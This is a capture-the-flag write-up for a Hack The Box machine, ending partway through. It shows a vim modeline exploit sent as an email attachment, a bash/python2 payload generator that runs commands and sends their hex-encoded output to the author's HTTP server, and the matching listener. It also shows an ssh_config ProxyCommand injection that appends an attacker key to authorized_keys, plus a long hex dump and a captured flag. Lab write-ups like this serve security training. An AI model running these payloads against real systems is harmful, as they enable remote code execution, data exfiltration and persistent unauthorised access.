jebidiah-anthony
write-ups and what not
HTB APT (10.10.10.221)
PART 1 : INITIAL RECON
1.1 NMAP scan
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -Pn -T4 -v 10.10.10.221 PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp $ nmap -oN nmap-tcp -p 22,25 -Pn -sC -sV -v 10.10.10.221 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 3072 4f:08:48:10:a2:89:3b:bd:4a:c6:81:03:cb:20:04:f5 (RSA) | 256 1a:41:82:21:9f:07:9d:cd:61:97:e7:fe:96:3a:8f:b0 (ECDSA) |_ 256 e0:6e:3d:52:ca:5a:7b:4a:11:cb:94:ef:af:49:07:aa (ED25519) 25/tcp open smtp | fingerprint-strings: | GenericLines, GetRequest: | 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD | 5.5.1 Invalid command: Pipelining not supported | Hello: | 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD | 5.5.1 Invalid command: EHLO requires domain name | Help: | 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD | 214- This is OpenSMTPD | 214- To report bugs in the implementation, please contact bugs@openbsd.org | 214- with full details | 2.0.0: End of HELP info | NULL: |_ 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD | smtp-commands: proudly setup by guly for attended.htb Hello nmap.scanme.org [10.10.14.28], pleased to meet you, 8BITMIME, ENHANCEDSTATUSCODES, SIZE 36700160, DSN, HELP, |_ This is OpenSMTPD To report bugs in the implementation, please contact bugs@openbsd.org with full details 2.0.0: End of HELP info
PART 2 : PORT ENUMERATION
2.1 TCP PORT 22 (OpenSSH)
Failing to login three times lets us see what authentication methods are accepted when attempting to SSH into the box:
$ ssh 10.10.10.221 kali@10.10.10.221's password: Permission denied, please try again. kali@10.10.10.221's password: Permission denied, please try again. kali@10.10.10.221's password: kali@10.10.10.221: Permission denied (publickey,password,keyboard-interactive).
It seems like nothing unusual is needed to authenticate.
2.2 TCP PORT 25 (OpenSMTPD)
Looking at the banner when trying to access the OpenSMTPD service via telnet
, a user (guly) and domain (attended.htb) are seen. And, when you try to verify if it is an existing email address, the server responds with 250 Recipient Ok
:
$ telnet 10.10.10.221 25 220 proudly setup by guly for attended.htb ESMTP OpenSMTPD HELO jebidiah 250 proudly setup by guly for attended.htb Hello jebidiah [10.10.14.28], pleased to meet you MAIL FROM:<jebidiah> 553 5.1.0: Sender address syntax error MAIL FROM:<test@jebidiah.htb> 250 2.0.0: Ok RCPT TO:<guly@attended.htb> 250 2.1.5 Destination address valid: Recipient ok
Now starting a local SMTP server to check if guly replies to emails:
$ sudo python -m smtpd -c DebuggingServer -n 10.10.14.8:25
Not to begin sending an email:
$ swaks --to "guly@attended.htb" --from "jebidiah@10.10.14.8" --body "something" --server 10.10.10.221
We get the following reply saying that guly is currently working on an inssue with someone named, freshness and will only entertain emails coming from him:
hello, thanks for writing. i'm currently quite busy working on an issue with freshness and dodging any email from everyone but him. i'll get back in touch as soon as possible. --- guly OpenBSD user since 1995 Vim power user /"\ \ / ASCII Ribbon Campaign X against HTML e-mail / \ against proprietary e-mail attachments
Trying to impersonate freshness using swaks
:
$ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --server 10.10.10.221
Now, the response says that now, guly needs to receive an attachment. And also, python2 is installed in the gateway which only allows RFC compliant connections (e.g. SMTP, ICMP, HTTP, etc.):
hi mate, could you please double check your attachment? looks like you forgot to actually attach anything :) p.s.: i also installed a basic py2 env on gw so you can PoC quickly my new outbound traffic restrictions. i think it should stop any non RFC compliant connection. --- guly OpenBSD user since 1995 Vim power user /"\ \ / ASCII Ribbon Campaign X against HTML e-mail / \ against proprietary e-mail attachments
Trying to create an attachment then sending it to guly as freshness:
$ echo test > test.txt $ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --attach test.txt --server 10.10.10.221
I get notified that that attachment I sent as going to be opened in vim and that freshness' configuration file should be in /home/shared/
:
thanks dude, i'm currently out of the office but will SSH into the box immediately and open your attachment with vim to verify its syntax. if everything is fine, you will find your config file within a few minutes in the /home/shared folder. test it ASAP and let me know if you still face that weird issue. --- guly OpenBSD user since 1995 Vim power user /"\ \ / ASCII Ribbon Campaign X against HTML e-mail / \ against proprietary e-mail attachments
The following are everything we’ve gotten from the email exchange above:
-
Only emails from freshness will be entertained.
-
Only RPC compliant protocols for outbound traffic will be allowed which means simple socket connections (for reverse shells) will not work.
-
Python2 could be used and the sent attachment will be opened using
vim
. -
A config file should be in
/home/shared/
.
PART 3 : EXPLOITATION
3.1 VIM MODELINES
While searching for code execution exploits in vim, I came across CVE-2016-1248 which is Arbitrary Command Execution using vim modelines. However, it was discovered around 2016 and a newer exploit (CVE-2019-12735) was found on 2019.
What happens when modelines is enabled in vim is that when the file contains the following line:
:!<command> ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
The command will execute before proceeding to the actual file contents.
3.2 PAYLOAD CREATION
There are a few challenges to overcome since only RPC compliant protocols are allowed for outbound connections so first, I created an automated vim modeline payload generator using bash:
#!/bin/bash echo "[x] CREATING PAYLOAD"; cmd=$1; payload=":!python2 -c 's=import(\"subprocess\").Popen(\"$cmd\", shell=True, stdout=-1).communicate()[0].strip(); [import(\"requests\").get(\"http://10.10.14.8/\", params={len(s):\"\".join([format(ord(x), \"02x\") for x in s[3000*i:3000*(i+1)]])}) for i in range(0,int(import(\"math\").floor(float(len(s))/3000))+1)]' ||\" vi:fen:fdm=expr:fde=assert_fails(\"source\!\ \%\"):fdl=0:fdt=\""; echo $payload > cmd.txt echo $payload; echo "[x] SENDING PAYLOAD AS ATTACHMENT" swaks --to "guly@attended.htb" --from "freshness@10.10.14.28" --body "ggwp" --attach cmd.txt --server 10.10.10.221 2>/dev/null echo "[x] CLEANING UP" rm cmd.txt
This incorporates a python2 one-liner which when expanded looks like the following:
import math import requests import subprocess s = subprocess.Popen("<command>", shell=True, stdout=-1).communicate()[0].strip() for i in range(0, int(math.floor(float(len(s))/3000))+1): params = { len(s): "".join([format(ord(x), "02x") for x in s[3000i:3000(i+1)]])} requests.get("http://10.10.14.8/", params=params)
What it essentially does is to chunk the response to a maximum of 3000 bytes per request since there seems to be a limit to how much data I could send back to my server.
After which, I created an HTTP Server that will be used to exfiltrate the responses from the machine and since I’m chunking the requests, the following code will manage with rebuilding the response:
from http.server import SimpleHTTPRequestHandler from socketserver import TCPServer from urllib.parse import unquote, urlparse global content content = dict() def http_server(host_port): class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self) -> None: self.send_response(200) params_get = urlparse(self.path).query.split('&') for i in params_get: param = i.split("=",1) if param[0] in content: content[param[0]] += bytes.fromhex(param[1]).decode("utf-8") else: content[param[0]] = bytes.fromhex(param[1]).decode("utf-8") for i in content: if int(i) == len(content[i]): print(content[i]) print("==============================================") del content[i] self.send_header("Content-Type", "text/plain") self.end_headers() return class Server(TCPServer): allow_reuse_address = True httpd = Server(host_port, CustomHandler) httpd.serve_forever() def main(): try: http_server(('0.0.0.0', 80)) except KeyboardInterrupt: pass if name == "main": main()
3.3 REMOTE CODE EXECUTION
Start the created HTTP Server:
$ sudo python3 server.py 2>/dev/null
Then, begin sending commands then wait until the HTTP server reflects the output:
$ ./cmd.sh id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
PART 4 : GETTING A USER SHELL (freshness)
4.1 ENUMERATING USING THE RCE
Checking for all the users that have a directory in /home
:
$ ./cmd.sh "ls -la /home"
total 20 drwxr-xr-x 5 root wheel 512 Jun 26 2019 . drwxr-xr-x 13 root wheel 512 May 8 11:05 .. drwxr-x--- 4 freshness freshness 512 Nov 12 16:56 freshness drwxr-x--- 4 guly guly 512 May 8 15:12 guly drwxrwx-wx 2 root freshness 512 Dec 11 22:25 shared
The config file mentionedd earlier should be in /home/shared
but the directory doesn’t seem to have global read permissions, however exploring guly’s home directory:
$ ./cmd.sh "ls -la /home/guly/tmp"
total 32 drwxr-xr-x 2 guly guly 512 Jun 26 2019 . drwxr-x--- 4 guly guly 512 May 8 15:23 .. -rwxr-x--- 1 guly guly 12288 Jun 26 2019 .config.swp
There is a .config.swp
file (.swp files are usually created when a file is opened in vim and will serve as a backup until the opened file is closed). Since this is a binary file, it can’t be exfiltrated by simply outputting the file:
$ ./cmd.sh "cat /home/guly/tmp/.config.swp | xxd -p | tr -d '\n'"
623056494d20382e3100000000100000000000000000000074ac000067756c79000000000000000000000000000000000000000000000000000000000000000000000000617474656e6465642e687462000000000000000000000000000000000000000000000000000000007e67756c792f746d702f2e7373682f636f6e666967000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d5533323130000000002322212013125500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000747001007f0000000200000000000000070000000000000001000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000616400003f0f0000770f0000001000000700000000000000f90f0000e80f0000d30f0000b70f0000a30f0000900f0000770f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002020536572766572416c697665496e74657276616c2036300020205443504b656570416c69766520796573002020436f6e74726f6c50657273697374203468002020436f6e74726f6c50617468202f746d702f25724025683a2570002020436f6e74726f6c4d6173746572206175746f002020557365722066726573686e65737300486f7374202a00
4.2 RESTORING .config.swp
Saving the hex output into a file, .config.swp.hex
, then decoding it into the original file:
$ cat .config.swp.hex | xxd -p -r > .config.swp
To fully recover the file, just open a file called config
in vim and then press r
:
$ vim config Swap file ".config.swp" already exists! [O]pen Read-Only, (E)dit anyway, (R)ecover, (D)elete it, (Q)uit, (A)bort: r $ cat config Host * User freshness ControlMaster auto ControlPath /tmp/%r@%h:%p ControlPersist 4h TCPKeepAlive yes ServerAliveInterval 60
It seems to be an ssh_config
file for the user, freshness
. Maybe this could be abused by using ProxyCommand
like so:
Host * User freshness ControlMaster auto ControlPath /tmp/%r@%h:%p ControlPersist 4h TCPKeepAlive yes ServerAliveInterval 60 ProxyCommand echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc= >> /home/freshness/.ssh/authorized_keys
Based on the directory listing of /home
, /home/shared
is world writable:
$ ./cmd.sh "ls -la /home"
total 20 drwxr-xr-x 5 root wheel 512 Jun 26 2019 . drwxr-xr-x 13 root wheel 512 May 8 11:05 .. drwxr-x--- 4 freshness freshness 512 Nov 12 16:56 freshness drwxr-x--- 4 guly guly 512 May 8 15:12 guly drwxrwx-wx 2 root freshness 512 Dec 11 22:25 shared
Now, attempting to write a config file with ProxyCommand into /home/shared/config
using the vim modelines exploit:
$ cat ssh.txt :!echo -en 'Host *\n User freshness\n ControlMaster auto\n ControlPath /tmp/%r@%h:%p\n ControlPersist 4h\n TCPKeepAlive yes\n ServerAliveInterval 60\n ProxyCommand echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAjMN54BBvvnJUXFjy9FSQ0zUVC7ZJg8FG+hPkNcoIk/ZZTz84yzE3sobaFTgDhfsjgisDd2jjZg8xuBZ4Gjo2pE0aqUQfP4bQwL6N4k+TmqMjBamwy7Copjt+sF0m4EJX1ZkURCFgL1ssqXorFDfRZSA3WingLrq2GYcJS9TMLlt5ZFzcT+umOHGE5wtYCHu11yCSpZNFl2S04GTsB2R/D3X1tQqRdWpIg1JGD0/gSFSuBJNn7ngOfPKQrjlBOrvCgtB+mWgBLp0smETICi9IqIvnW6K5AWNP+ZxWm4Bjl5Vor0mmfQdCcRVElZdpEEW59XSwnhlCpzW+hk8MzQGUoqJ01JKa03rFqdHLHWIy2sfS4vFsG450A4un/hClPMoQxf12gwY2WwsBwAwRKTi1Q23lnLN/NolaCdzOdEUzVc9drcQbvWlR+dxkiW09eFEqk6TEFiVtla2oywhozphFdjye7GPVfuz/862VAMOyG/Ny/82dGOzmt+irNsfc5Tc= >>/home/freshness/.ssh/authorized_keys\n' > /home/shared/config && ping -c1 10.10.14.28 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=" $ swaks --to "guly@attended.htb" --from "freshness@10.10.14.8" --body "something" --attach ssh.txt --server 10.10.10.221
After waiting for guly to reply to the sent email, we can SSH into the box as freshness:
$ ssh -i freshness.id_rsa -l freshness 10.10.10.221 attended$ id uid=1001(freshness) gid=1001(freshness) groups=1001(freshness) attended$ ls -l total 16 drwxr-x--- 2 freshness freshness 512 Nov 16 13:57 authkeys -rw-r--r-- 1 freshness freshness 436 May 8 16:27 dead.letter -rwxr-x--- 1 root freshness 422 Jun 28 2019 fchecker.py -r--r----- 1 root freshness 33 Jun 26 2019 user.txt attended$ cat user.txt b0390ad535424c0981699b93041a3ff1
PART 5 : EXPLOITING authkeys
5.1 ENUMERATING INSIDE freshness
There is a note left in ~/authkeys
stating that an authkeys
command was enabled in the attended gateway but not in the attended machine:
